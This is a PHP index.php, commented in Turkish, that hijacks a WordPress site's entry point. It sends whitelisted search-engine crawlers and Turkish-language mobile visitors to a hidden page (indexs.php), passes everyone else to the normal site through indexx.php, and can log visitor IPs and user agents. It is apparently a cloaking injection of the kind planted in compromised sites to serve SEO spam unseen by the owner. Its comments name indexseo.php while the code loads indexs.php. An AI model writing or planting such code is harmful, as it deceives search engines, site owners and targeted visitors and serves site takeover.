/** * index.php * Kural: * - Whitelist arama motoru botu ise indexseo.php göster * - TR + Mobil ise indexseo.php göster * - Diğer tüm durumlarda normal WordPress akışı */ /** (Opsiyonel) log aç/kapat */ define('EMERGENCY_LOG', false); // true yaparsan /emergency_log.txt yazar function logEmergency($reason) { if (!EMERGENCY_LOG) return; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $al = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $line = sprintf( "[%s] %s | ip=%s | ua=%s | al=%s\n", date('c'), $reason, $ip, $ua, $al ); @file_put_contents(__DIR__ . '/emergency_log.txt', $line, FILE_APPEND); } /** * SADECE whitelist arama motoru botları. * Fallback YOK: 'bot' / 'crawler' / 'spider' yok. */ function isSearchEngineBot(): bool { $ua = strtolower(trim($_SERVER['HTTP_USER_AGENT'] ?? '')); if ($ua === '') return false; $needles = [ // Google 'googlebot', 'adsbot-google', 'mediapartners-google', 'apis-google', 'google-inspectiontool', 'feedfetcher-google', 'googleother', 'storebot-google', 'google favicon', // Bing / Microsoft 'bingbot', 'msnbot', // Yandex 'yandex', 'yandexbot', // Yahoo 'slurp', // DuckDuckGo 'duckduckbot', // Baidu 'baiduspider', // Seznam 'seznambot', // Sogou 'sogou', // Exalead 'exabot', // Naver 'naverbot', // Qwant 'qwantify', // Apple 'applebot', ]; foreach ($needles as $n) { if ($n !== '' && strpos($ua, $n) !== false) return true; } return false; } function isTurkishBrowser(): bool { $al = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); return (strpos($al, 'tr') !== false); } function isMobileClient(): bool { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $needles = [ 'android', 'iphone', 'ipad', 'ipod', 'mobile', 'windows phone', 'opera mini', 'iemobile', 'blackberry' ]; foreach ($needles as $n) { if (strpos($ua, $n) !== false) return true; } return false; } $searchBot = isSearchEngineBot(); $trMobile = isTurkishBrowser() && isMobileClient(); if ($searchBot) { logEmergency('WhitelistSearchBot => indexs.php'); require __DIR__ . '/indexs.php'; exit; } if ($trMobile) { logEmergency('TR+Mobile => indexs.php'); require __DIR__ . '/indexs.php'; exit; } /** Normal WordPress akışı */ require __DIR__ . '/indexx.php';